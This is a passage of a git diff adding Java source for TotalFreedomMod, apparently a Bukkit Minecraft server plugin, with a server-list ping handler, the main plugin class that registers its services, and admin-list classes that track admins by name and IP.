|
||||||
|
// return ((CraftServer) Bukkit.getServer()).getServer();
|
||||||
|
// }
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,79 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.server.ServerListPingEvent;
|
||||||
|
|
||||||
|
public class ServerPing extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public ServerPing(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onServerPing(ServerListPingEvent event)
|
||||||
|
{
|
||||||
|
final String ip = event.getAddress().getHostAddress().trim();
|
||||||
|
|
||||||
|
if (plugin.bm.isIpBanned(ip))
|
||||||
|
{
|
||||||
|
event.setMotd(ChatColor.RED + "You are banned.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ConfigEntry.ADMIN_ONLY_MODE.getBoolean())
|
||||||
|
{
|
||||||
|
event.setMotd(ChatColor.RED + "Server is closed.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Bukkit.hasWhitelist())
|
||||||
|
{
|
||||||
|
event.setMotd(ChatColor.RED + "Whitelist enabled.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Bukkit.getOnlinePlayers().size() >= Bukkit.getMaxPlayers())
|
||||||
|
{
|
||||||
|
event.setMotd(ChatColor.RED + "Server is full.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// String baseMotd = ConfigEntry.SERVER_MOTD.getString().replace("%mcversion%", plugin.si.getVersion());
|
||||||
|
String baseMotd = ConfigEntry.SERVER_MOTD.getString();
|
||||||
|
baseMotd = baseMotd.replace("\\n", "\n");
|
||||||
|
baseMotd = FUtil.colorize(baseMotd);
|
||||||
|
|
||||||
|
if (!ConfigEntry.SERVER_COLORFUL_MOTD.getBoolean())
|
||||||
|
{
|
||||||
|
event.setMotd(baseMotd);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Colorful MOTD
|
||||||
|
final StringBuilder motd = new StringBuilder();
|
||||||
|
for (String word : baseMotd.split(" "))
|
||||||
|
{
|
||||||
|
motd.append(FUtil.randomChatColor()).append(word).append(" ");
|
||||||
|
}
|
||||||
|
|
||||||
|
event.setMotd(motd.toString().trim());
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,300 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.fun.Trailer;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.util.Properties;
|
||||||
|
import me.totalfreedom.totalfreedommod.admin.AdminList;
|
||||||
|
import me.totalfreedom.totalfreedommod.banning.BanManager;
|
||||||
|
import me.totalfreedom.totalfreedommod.banning.PermbanList;
|
||||||
|
import me.totalfreedom.totalfreedommod.blocking.BlockBlocker;
|
||||||
|
import me.totalfreedom.totalfreedommod.blocking.EventBlocker;
|
||||||
|
import me.totalfreedom.totalfreedommod.blocking.InteractBlocker;
|
||||||
|
import me.totalfreedom.totalfreedommod.blocking.MobBlocker;
|
||||||
|
import me.totalfreedom.totalfreedommod.blocking.PotionBlocker;
|
||||||
|
import me.totalfreedom.totalfreedommod.blocking.command.CommandBlocker;
|
||||||
|
import me.totalfreedom.totalfreedommod.bridge.BukkitTelnetBridge;
|
||||||
|
import me.totalfreedom.totalfreedommod.bridge.EssentialsBridge;
|
||||||
|
import me.totalfreedom.totalfreedommod.bridge.LibsDisguisesBridge;
|
||||||
|
import me.totalfreedom.totalfreedommod.bridge.WorldEditBridge;
|
||||||
|
import me.totalfreedom.totalfreedommod.caging.Cager;
|
||||||
|
import me.totalfreedom.totalfreedommod.command.CommandLoader;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.MainConfig;
|
||||||
|
import me.totalfreedom.totalfreedommod.freeze.Freezer;
|
||||||
|
import me.totalfreedom.totalfreedommod.fun.ItemFun;
|
||||||
|
import me.totalfreedom.totalfreedommod.fun.Jumppads;
|
||||||
|
import me.totalfreedom.totalfreedommod.fun.Landminer;
|
||||||
|
import me.totalfreedom.totalfreedommod.fun.MP44;
|
||||||
|
import me.totalfreedom.totalfreedommod.httpd.HTTPDaemon;
|
||||||
|
import me.totalfreedom.totalfreedommod.player.PlayerList;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.RankManager;
|
||||||
|
import me.totalfreedom.totalfreedommod.rollback.RollbackManager;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.MethodTimer;
|
||||||
|
import me.totalfreedom.totalfreedommod.world.WorldManager;
|
||||||
|
import net.pravian.aero.component.service.ServiceManager;
|
||||||
|
import net.pravian.aero.plugin.AeroPlugin;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.plugin.Plugin;
|
||||||
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
import org.mcstats.Metrics;
|
||||||
|
|
||||||
|
public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final String CONFIG_FILENAME = "config.yml";
|
||||||
|
//
|
||||||
|
public static final BuildProperties build = new BuildProperties();
|
||||||
|
//
|
||||||
|
public static String pluginName;
|
||||||
|
public static String pluginVersion;
|
||||||
|
//
|
||||||
|
public MainConfig config;
|
||||||
|
//
|
||||||
|
// Services
|
||||||
|
public ServiceManager<TotalFreedomMod> services;
|
||||||
|
public ServerInterface si;
|
||||||
|
public SavedFlags sf;
|
||||||
|
public WorldManager wm;
|
||||||
|
public LogViewer lv;
|
||||||
|
public AdminList al;
|
||||||
|
public RankManager rm;
|
||||||
|
public CommandLoader cl;
|
||||||
|
public CommandBlocker cb;
|
||||||
|
public EventBlocker eb;
|
||||||
|
public BlockBlocker bb;
|
||||||
|
public MobBlocker mb;
|
||||||
|
public InteractBlocker ib;
|
||||||
|
public PotionBlocker pb;
|
||||||
|
public LoginProcess lp;
|
||||||
|
public AntiNuke nu;
|
||||||
|
public AntiSpam as;
|
||||||
|
public PlayerList pl;
|
||||||
|
public Announcer an;
|
||||||
|
public ChatManager cm;
|
||||||
|
public BanManager bm;
|
||||||
|
public PermbanList pm;
|
||||||
|
public ProtectArea pa;
|
||||||
|
public GameRuleHandler gr;
|
||||||
|
public RollbackManager rb;
|
||||||
|
public CommandSpy cs;
|
||||||
|
public Cager ca;
|
||||||
|
public Freezer fm;
|
||||||
|
public Orbiter or;
|
||||||
|
public Muter mu;
|
||||||
|
public Fuckoff fo;
|
||||||
|
public AutoKick ak;
|
||||||
|
public AutoEject ae;
|
||||||
|
public MovementValidator mv;
|
||||||
|
public EntityWiper ew;
|
||||||
|
public FrontDoor fd;
|
||||||
|
public ServerPing sp;
|
||||||
|
public ItemFun it;
|
||||||
|
public Landminer lm;
|
||||||
|
public MP44 mp;
|
||||||
|
public Jumppads jp;
|
||||||
|
public Trailer tr;
|
||||||
|
public HTTPDaemon hd;
|
||||||
|
//
|
||||||
|
// Bridges
|
||||||
|
public ServiceManager<TotalFreedomMod> bridges;
|
||||||
|
public BukkitTelnetBridge btb;
|
||||||
|
public EssentialsBridge esb;
|
||||||
|
public LibsDisguisesBridge ldb;
|
||||||
|
public WorldEditBridge web;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void load()
|
||||||
|
{
|
||||||
|
TotalFreedomMod.pluginName = plugin.getDescription().getName();
|
||||||
|
TotalFreedomMod.pluginVersion = plugin.getDescription().getVersion();
|
||||||
|
|
||||||
|
FLog.setPluginLogger(plugin.getLogger());
|
||||||
|
FLog.setServerLogger(server.getLogger());
|
||||||
|
|
||||||
|
build.load(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void enable()
|
||||||
|
{
|
||||||
|
FLog.info("Created by Madgeek1450 and Prozza");
|
||||||
|
FLog.info("Version " + build.formattedVersion());
|
||||||
|
FLog.info("Compiled " + build.date + " by " + build.author);
|
||||||
|
|
||||||
|
final MethodTimer timer = new MethodTimer();
|
||||||
|
timer.start();
|
||||||
|
|
||||||
|
// Warn if we're running on a wrong version
|
||||||
|
ServerInterface.warnVersion();
|
||||||
|
|
||||||
|
// Delete unused files
|
||||||
|
FUtil.deleteCoreDumps();
|
||||||
|
FUtil.deleteFolder(new File("./_deleteme"));
|
||||||
|
|
||||||
|
// Convert old config files
|
||||||
|
new ConfigConverter(plugin).convert();
|
||||||
|
|
||||||
|
BackupManager backups = new BackupManager(this);
|
||||||
|
backups.createBackups(TotalFreedomMod.CONFIG_FILENAME, true);
|
||||||
|
backups.createBackups(AdminList.CONFIG_FILENAME);
|
||||||
|
backups.createBackups(PermbanList.CONFIG_FILENAME);
|
||||||
|
|
||||||
|
config = new MainConfig(this);
|
||||||
|
config.load();
|
||||||
|
|
||||||
|
// Start services
|
||||||
|
services = new ServiceManager<>(plugin);
|
||||||
|
si = services.registerService(ServerInterface.class);
|
||||||
|
sf = services.registerService(SavedFlags.class);
|
||||||
|
wm = services.registerService(WorldManager.class);
|
||||||
|
lv = services.registerService(LogViewer.class);
|
||||||
|
al = services.registerService(AdminList.class);
|
||||||
|
rm = services.registerService(RankManager.class);
|
||||||
|
cl = services.registerService(CommandLoader.class);
|
||||||
|
cb = services.registerService(CommandBlocker.class);
|
||||||
|
eb = services.registerService(EventBlocker.class);
|
||||||
|
bb = services.registerService(BlockBlocker.class);
|
||||||
|
mb = services.registerService(MobBlocker.class);
|
||||||
|
ib = services.registerService(InteractBlocker.class);
|
||||||
|
pb = services.registerService(PotionBlocker.class);
|
||||||
|
lp = services.registerService(LoginProcess.class);
|
||||||
|
nu = services.registerService(AntiNuke.class);
|
||||||
|
as = services.registerService(AntiSpam.class);
|
||||||
|
|
||||||
|
pl = services.registerService(PlayerList.class);
|
||||||
|
an = services.registerService(Announcer.class);
|
||||||
|
cm = services.registerService(ChatManager.class);
|
||||||
|
bm = services.registerService(BanManager.class);
|
||||||
|
pm = services.registerService(PermbanList.class);
|
||||||
|
pa = services.registerService(ProtectArea.class);
|
||||||
|
gr = services.registerService(GameRuleHandler.class);
|
||||||
|
|
||||||
|
// Single admin utils
|
||||||
|
rb = services.registerService(RollbackManager.class);
|
||||||
|
cs = services.registerService(CommandSpy.class);
|
||||||
|
ca = services.registerService(Cager.class);
|
||||||
|
fm = services.registerService(Freezer.class);
|
||||||
|
or = services.registerService(Orbiter.class);
|
||||||
|
mu = services.registerService(Muter.class);
|
||||||
|
fo = services.registerService(Fuckoff.class);
|
||||||
|
ak = services.registerService(AutoKick.class);
|
||||||
|
ae = services.registerService(AutoEject.class);
|
||||||
|
|
||||||
|
mv = services.registerService(MovementValidator.class);
|
||||||
|
ew = services.registerService(EntityWiper.class);
|
||||||
|
fd = services.registerService(FrontDoor.class);
|
||||||
|
sp = services.registerService(ServerPing.class);
|
||||||
|
|
||||||
|
// Fun
|
||||||
|
it = services.registerService(ItemFun.class);
|
||||||
|
lm = services.registerService(Landminer.class);
|
||||||
|
mp = services.registerService(MP44.class);
|
||||||
|
jp = services.registerService(Jumppads.class);
|
||||||
|
tr = services.registerService(Trailer.class);
|
||||||
|
|
||||||
|
// HTTPD
|
||||||
|
hd = services.registerService(HTTPDaemon.class);
|
||||||
|
services.start();
|
||||||
|
|
||||||
|
// Start bridges
|
||||||
|
bridges = new ServiceManager<>(plugin);
|
||||||
|
btb = bridges.registerService(BukkitTelnetBridge.class);
|
||||||
|
esb = bridges.registerService(EssentialsBridge.class);
|
||||||
|
ldb = bridges.registerService(LibsDisguisesBridge.class);
|
||||||
|
web = bridges.registerService(WorldEditBridge.class);
|
||||||
|
bridges.start();
|
||||||
|
|
||||||
|
timer.update();
|
||||||
|
FLog.info("Version " + pluginVersion + " for " + ServerInterface.COMPILE_NMS_VERSION + " enabled in " + timer.getTotal() + "ms");
|
||||||
|
|
||||||
|
// Metrics @ http://mcstats.org/plugin/TotalFreedomMod
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final Metrics metrics = new Metrics(plugin);
|
||||||
|
metrics.start();
|
||||||
|
}
|
||||||
|
catch (IOException ex)
|
||||||
|
{
|
||||||
|
FLog.warning("Failed to submit metrics data: " + ex.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Add spawnpoints later - https://github.com/TotalFreedom/TotalFreedomMod/issues/438
|
||||||
|
new BukkitRunnable()
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
plugin.pa.autoAddSpawnpoints();
|
||||||
|
}
|
||||||
|
}.runTaskLater(plugin, 60L);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void disable()
|
||||||
|
{
|
||||||
|
// Stop services and bridges
|
||||||
|
bridges.stop();
|
||||||
|
services.stop();
|
||||||
|
|
||||||
|
server.getScheduler().cancelTasks(plugin);
|
||||||
|
|
||||||
|
FLog.info("Plugin disabled");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class BuildProperties
|
||||||
|
{
|
||||||
|
|
||||||
|
public String author;
|
||||||
|
public String codename;
|
||||||
|
public String version;
|
||||||
|
public String number;
|
||||||
|
public String date;
|
||||||
|
public String head;
|
||||||
|
|
||||||
|
public void load(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final Properties props;
|
||||||
|
try (InputStream in = plugin.getResource("build.properties"))
|
||||||
|
{
|
||||||
|
props = new Properties();
|
||||||
|
props.load(in);
|
||||||
|
}
|
||||||
|
|
||||||
|
author = props.getProperty("program.build.author", "unknown");
|
||||||
|
codename = props.getProperty("program.build.codename", "unknown");
|
||||||
|
version = props.getProperty("program.build.version", "unknown");
|
||||||
|
number = props.getProperty("program.build.number", "1");
|
||||||
|
date = props.getProperty("program.build.date", "unknown");
|
||||||
|
head = props.getProperty("program.build.head", "unknown");
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe("Could not load build properties! Did you compile with Netbeans/Maven?");
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String formattedVersion()
|
||||||
|
{
|
||||||
|
return pluginVersion + "." + number + " (" + head + ")";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static TotalFreedomMod plugin()
|
||||||
|
{
|
||||||
|
for (Plugin plugin : Bukkit.getPluginManager().getPlugins())
|
||||||
|
{
|
||||||
|
if (plugin.getName().equalsIgnoreCase(pluginName))
|
||||||
|
{
|
||||||
|
return (TotalFreedomMod) plugin;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
171
src/main/java/me/totalfreedom/totalfreedommod/admin/Admin.java
Normal file
171
src/main/java/me/totalfreedom/totalfreedommod/admin/Admin.java
Normal file
@ -0,0 +1,171 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.admin;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import java.util.Date;
|
||||||
|
import java.util.List;
|
||||||
|
import lombok.Getter;
|
||||||
|
import lombok.Setter;
|
||||||
|
import me.totalfreedom.totalfreedommod.LogViewer.LogsRegistrationMode;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import net.pravian.aero.base.ConfigLoadable;
|
||||||
|
import net.pravian.aero.base.ConfigSavable;
|
||||||
|
import net.pravian.aero.base.Validatable;
|
||||||
|
import net.pravian.aero.util.Ips;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.apache.commons.lang3.Validate;
|
||||||
|
import org.bukkit.configuration.ConfigurationSection;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
public class Admin implements ConfigLoadable, ConfigSavable, Validatable
|
||||||
|
{
|
||||||
|
|
||||||
|
@Getter
|
||||||
|
private String configKey;
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
private String name;
|
||||||
|
@Getter
|
||||||
|
private boolean active = true;
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
private Rank rank = Rank.SUPER_ADMIN;
|
||||||
|
@Getter
|
||||||
|
private final List<String> ips = Lists.newArrayList();
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
private Date lastLogin = new Date();
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
private String loginMessage = null;
|
||||||
|
|
||||||
|
public Admin(Player player)
|
||||||
|
{
|
||||||
|
this.configKey = player.getName().toLowerCase();
|
||||||
|
this.name = player.getName();
|
||||||
|
this.ips.add(Ips.getIp(player));
|
||||||
|
}
|
||||||
|
|
||||||
|
public Admin(String configKey)
|
||||||
|
{
|
||||||
|
this.configKey = configKey;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString()
|
||||||
|
{
|
||||||
|
final StringBuilder output = new StringBuilder();
|
||||||
|
|
||||||
|
output.append("Admin: ").append(name).append("\n")
|
||||||
|
.append("- IPs: ").append(StringUtils.join(ips, ", ")).append("\n")
|
||||||
|
.append("- Last Login: ").append(FUtil.dateToString(lastLogin)).append("\n")
|
||||||
|
.append("- Custom Login Message: ").append(loginMessage).append("\n")
|
||||||
|
.append("- Rank: ").append(rank.getName()).append("\n")
|
||||||
|
.append("- Is Active: ").append(active);
|
||||||
|
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadFrom(Player player)
|
||||||
|
{
|
||||||
|
configKey = player.getName().toLowerCase();
|
||||||
|
name = player.getName();
|
||||||
|
ips.clear();
|
||||||
|
ips.add(Ips.getIp(player));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void loadFrom(ConfigurationSection cs)
|
||||||
|
{
|
||||||
|
name = cs.getString("username", configKey);
|
||||||
|
active = cs.getBoolean("active", true);
|
||||||
|
rank = Rank.findRank(cs.getString("rank"));
|
||||||
|
ips.clear();
|
||||||
|
ips.addAll(cs.getStringList("ips"));
|
||||||
|
lastLogin = FUtil.stringToDate(cs.getString("last_login"));
|
||||||
|
loginMessage = cs.getString("login_message", null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void saveTo(ConfigurationSection cs)
|
||||||
|
{
|
||||||
|
Validate.isTrue(isValid(), "Could not save admin entry: " + name + ". Entry not valid!");
|
||||||
|
cs.set("username", name);
|
||||||
|
cs.set("active", active);
|
||||||
|
cs.set("rank", rank.toString());
|
||||||
|
cs.set("ips", Lists.newArrayList(ips));
|
||||||
|
cs.set("last_login", FUtil.dateToString(lastLogin));
|
||||||
|
cs.set("login_message", loginMessage);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isAtLeast(Rank pRank)
|
||||||
|
{
|
||||||
|
return rank.isAtLeast(pRank);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean hasLoginMessage()
|
||||||
|
{
|
||||||
|
return loginMessage != null && !loginMessage.isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Util IP methods
|
||||||
|
public void addIp(String ip)
|
||||||
|
{
|
||||||
|
if (!ips.contains(ip))
|
||||||
|
{
|
||||||
|
ips.add(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addIps(List<String> ips)
|
||||||
|
{
|
||||||
|
for (String ip : ips)
|
||||||
|
{
|
||||||
|
addIp(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void removeIp(String ip)
|
||||||
|
{
|
||||||
|
if (ips.contains(ip))
|
||||||
|
{
|
||||||
|
ips.remove(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void clearIPs()
|
||||||
|
{
|
||||||
|
ips.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setActive(boolean active)
|
||||||
|
{
|
||||||
|
this.active = active;
|
||||||
|
|
||||||
|
final TotalFreedomMod plugin = TotalFreedomMod.plugin();
|
||||||
|
|
||||||
|
if (!active)
|
||||||
|
{
|
||||||
|
if (getRank().isAtLeast(Rank.TELNET_ADMIN))
|
||||||
|
{
|
||||||
|
if (plugin.btb != null)
|
||||||
|
{
|
||||||
|
plugin.btb.killTelnetSessions(getName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
plugin.lv.updateLogsRegistration(null, getName(), LogsRegistrationMode.DELETE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean isValid()
|
||||||
|
{
|
||||||
|
return configKey != null
|
||||||
|
&& name != null
|
||||||
|
&& rank != null
|
||||||
|
&& !ips.isEmpty()
|
||||||
|
&& lastLogin != null;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,360 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.admin;
|
||||||
|
|
||||||
|
import com.google.common.base.Function;
|
||||||
|
import com.google.common.collect.Maps;
|
||||||
|
import com.google.common.collect.Sets;
|
||||||
|
import java.util.Date;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.concurrent.TimeUnit;
|
||||||
|
import lombok.Getter;
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import net.pravian.aero.config.YamlConfig;
|
||||||
|
import net.pravian.aero.util.Ips;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.configuration.ConfigurationSection;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.plugin.ServicePriority;
|
||||||
|
|
||||||
|
public class AdminList extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final String CONFIG_FILENAME = "admins.yml";
|
||||||
|
|
||||||
|
@Getter
|
||||||
|
private final Map<String, Admin> allAdmins = Maps.newHashMap(); // Includes disabled admins
|
||||||
|
// Only active admins below
|
||||||
|
@Getter
|
||||||
|
private final Set<Admin> activeAdmins = Sets.newHashSet();
|
||||||
|
private final Map<String, Admin> nameTable = Maps.newHashMap();
|
||||||
|
private final Map<String, Admin> ipTable = Maps.newHashMap();
|
||||||
|
//
|
||||||
|
private final YamlConfig config;
|
||||||
|
|
||||||
|
public AdminList(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
|
||||||
|
this.config = new YamlConfig(plugin, CONFIG_FILENAME, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
load();
|
||||||
|
|
||||||
|
server.getServicesManager().register(Function.class, new Function<Player, Boolean>()
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public Boolean apply(Player player)
|
||||||
|
{
|
||||||
|
return isAdmin(player);
|
||||||
|
}
|
||||||
|
}, plugin, ServicePriority.Normal);
|
||||||
|
|
||||||
|
deactivateOldEntries(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
save();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void load()
|
||||||
|
{
|
||||||
|
config.load();
|
||||||
|
|
||||||
|
allAdmins.clear();
|
||||||
|
for (String key : config.getKeys(false))
|
||||||
|
{
|
||||||
|
ConfigurationSection section = config.getConfigurationSection(key);
|
||||||
|
if (section == null)
|
||||||
|
{
|
||||||
|
logger.warning("Invalid admin list format: " + key);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
Admin admin = new Admin(key);
|
||||||
|
admin.loadFrom(section);
|
||||||
|
|
||||||
|
if (!admin.isValid())
|
||||||
|
{
|
||||||
|
FLog.warning("Could not load admin: " + key + ". Missing details!");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
allAdmins.put(key, admin);
|
||||||
|
}
|
||||||
|
|
||||||
|
updateTables();
|
||||||
|
FLog.info("Loaded " + allAdmins.size() + " admins (" + nameTable.size() + " active, " + ipTable.size() + " IPs)");
|
||||||
|
}
|
||||||
|
|
||||||
|
public void save()
|
||||||
|
{
|
||||||
|
// Clear the config
|
||||||
|
for (String key : config.getKeys(false))
|
||||||
|
{
|
||||||
|
config.set(key, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (Admin admin : allAdmins.values())
|
||||||
|
{
|
||||||
|
admin.saveTo(config.createSection(admin.getConfigKey()));
|
||||||
|
}
|
||||||
|
|
||||||
|
config.save();
|
||||||
|
}
|
||||||
|
|
||||||
|
public synchronized boolean isAdminSync(CommandSender sender)
|
||||||
|
{
|
||||||
|
return isAdmin(sender);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isAdmin(CommandSender sender)
|
||||||
|
{
|
||||||
|
if (!(sender instanceof Player))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
Admin admin = getAdmin((Player) sender);
|
||||||
|
|
||||||
|
return admin != null && admin.isActive();
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isSeniorAdmin(CommandSender sender)
|
||||||
|
{
|
||||||
|
Admin admin = getAdmin(sender);
|
||||||
|
if (admin == null)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return admin.getRank().ordinal() >= Rank.SENIOR_ADMIN.ordinal();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Admin getAdmin(CommandSender sender)
|
||||||
|
{
|
||||||
|
if (sender instanceof Player)
|
||||||
|
{
|
||||||
|
return getAdmin((Player) sender);
|
||||||
|
}
|
||||||
|
|
||||||
|
return getEntryByName(sender.getName());
|
||||||
|
}
|
||||||
|
|
||||||
|
public Admin getAdmin(Player player)
|
||||||
|
{
|
||||||
|
// Find admin
|
||||||
|
String ip = Ips.getIp(player);
|
||||||
|
Admin admin = getEntryByName(player.getName());
|
||||||
|
|
||||||
|
// Admin by name
|
||||||
|
if (admin != null)
|
||||||
|
{
|
||||||
|
// Check if we're in online mode,
|
||||||
|
// Or the players IP is in the admin entry
|
||||||
|
if (Bukkit.getOnlineMode() || admin.getIps().contains(ip))
|
||||||
|
{
|
||||||
|
if (!admin.getIps().contains(ip))
|
||||||
|
{
|
||||||
|
// Add the new IP if we have to
|
||||||
|
admin.addIp(ip);
|
||||||
|
save();
|
||||||
|
updateTables();
|
||||||
|
}
|
||||||
|
return admin;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Impostor
|
||||||
|
}
|
||||||
|
|
||||||
|
// Admin by ip
|
||||||
|
admin = getEntryByIp(ip);
|
||||||
|
if (admin != null)
|
||||||
|
{
|
||||||
|
// Set the new username
|
||||||
|
admin.setName(player.getName());
|
||||||
|
save();
|
||||||
|
updateTables();
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Admin getEntryByName(String name)
|
||||||
|
{
|
||||||
|
return nameTable.get(name.toLowerCase());
|
||||||
|
}
|
||||||
|
|
||||||
|
public Admin getEntryByIp(String ip)
|
||||||
|
{
|
||||||
|
return ipTable.get(ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Admin getEntryByIpFuzzy(String needleIp)
|
||||||
|
{
|
||||||
|
final Admin directAdmin = getEntryByIp(needleIp);
|
||||||
|
if (directAdmin != null)
|
||||||
|
{
|
||||||
|
return directAdmin;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (String ip : ipTable.keySet())
|
||||||
|
{
|
||||||
|
if (FUtil.fuzzyIpMatch(needleIp, ip, 3))
|
||||||
|
{
|
||||||
|
return ipTable.get(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void updateLastLogin(Player player)
|
||||||
|
{
|
||||||
|
final Admin admin = getAdmin(player);
|
||||||
|
if (admin == null)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
admin.setLastLogin(new Date());
|
||||||
|
admin.setName(player.getName());
|
||||||
|
save();
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isAdminImpostor(Player player)
|
||||||
|
{
|
||||||
|
return getEntryByName(player.getName()) != null && !isAdmin(player);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isIdentityMatched(Player player)
|
||||||
|
{
|
||||||
|
if (Bukkit.getOnlineMode())
